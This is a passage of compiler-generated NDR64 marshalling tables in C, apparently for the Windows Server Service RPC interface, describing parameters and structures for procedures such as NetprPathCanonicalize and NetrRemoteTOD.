      /* NameType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag676_t __midl_frag676 =\n{ \n/* NetprNameValidate */\n    { \n    /* NetprNameValidate */      /* procedure NetprNameValidate */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag913,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NameType */      /* parameter NameType */\n        &__midl_frag928,\n        { \n        /* NameType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag662_t __midl_frag662 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag658_t __midl_frag658 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag656_t __midl_frag656 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag691\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag658\n    }\n};\n\nstatic const __midl_frag655_t __midl_frag655 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag656\n};\n\nstatic const __midl_frag650_t __midl_frag650 =\n{ \n/* NetprPathCanonicalize */\n    { \n    /* NetprPathCanonicalize */      /* procedure NetprPathCanonicalize */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 48 /* 0x30 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* PathName */      /* parameter PathName */\n        &__midl_frag913,\n        { \n        /* PathName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Outbuf */      /* parameter Outbuf */\n        &__midl_frag656,\n        { \n        /* Outbuf */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* OutbufLen */      /* parameter OutbufLen */\n        &__midl_frag693,\n        { \n        /* OutbufLen */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Prefix */      /* parameter Prefix */\n        &__midl_frag913,\n        { \n        /* Prefix */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* PathType */      /* parameter PathType */\n        &__midl_frag928,\n        { \n        /* PathType */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], Basetype, SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag646_t __midl_frag646 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag641_t __midl_frag641 =\n{ \n/* NetprPathType */\n    { \n    /* NetprPathType */      /* procedure NetprPathType */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* PathName */      /* parameter PathName */\n        &__midl_frag913,\n        { \n        /* PathName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PathType */      /* parameter PathType */\n        &__midl_frag928,\n        { \n        /* PathType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag640_t __midl_frag640 =\n{ \n/* Opnum29NotUsedOnWire */\n    { \n    /* Opnum29NotUsedOnWire */      /* procedure Opnum29NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag638_t __midl_frag638 =\n{ \n/* _TIME_OF_DAY_INFO */\n    { \n    /* _TIME_OF_DAY_INFO */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _TIME_OF_DAY_INFO */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */\n    }\n};\n\nstatic const __midl_frag637_t __midl_frag637 =\n{ \n/* *_TIME_OF_DAY_INFO */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag638\n};\n\nstatic const __midl_frag636_t __midl_frag636 =\n{ \n/* **_TIME_OF_DAY_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag637\n};\n\nstatic const __midl_frag633_t __midl_frag633 =\n{ \n/* NetrRemoteTOD */\n    { \n    /* NetrRemoteTOD */      /* procedure NetrRemoteTOD */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 120 /* 0x78 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BufferPtr */      /* parameter BufferPtr */\n        &__midl_frag636,\n        { \n        /* BufferPtr */\n            0,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag631_t __midl_frag631 =\n{ \n/* *SERVER_TRANSPORT_INFO_0 */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag561\n};\n\nstatic const __midl_frag627_t __midl_frag627 =\n{ \n/* NetrServerTransportDel */\n    { \n    /* NetrServerTransportDel */      /* procedure NetrServerTransportDel */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag928,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag561,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag624_t __midl_frag624 =\n{ \n/* *DWORD */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag620_t __midl_frag620 =\n{ \n/*  */\n    { \n    /* *SERVER_TRANSPORT_INFO_3 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag609\n    }\n};\n\nstatic const __midl_frag619_t __midl_frag619 =\n{ \n/*  */\n    { \n    /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */\n        0x40,    /* FC64_FIX_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 256 /* 0x100 */\n    }\n};\n\nstatic const __midl_frag618_t __midl_frag618 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag913\n    }\n};\n\nstatic const __midl_frag614_t __midl_frag614 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    }\n};\n\nstatic const __midl_frag613_t __midl_frag613 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag614\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag658\n    }\n};\n\nstatic const __midl_frag611_t __midl_frag611 =\n{ \n/* SERVER_TRANSPORT_INFO_3 */\n    { \n    /* SERVER_TRANSPORT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SERVER_TRANSPORT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 312 /* 0x138 */,\n        0,\n        0,\n        &__midl_frag618,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag619\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag610_t __midl_frag610 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag609_t __midl_frag609 =\n{ \n/* *SERVER_TRANSPORT_INFO_3 */\n    { \n    /* *SERVER_TRANSPORT_INFO_3 */\n        { \n        /* *SERVER_TRANSPORT_INFO_3 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *SERVER_TRANSPORT_INFO_3 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                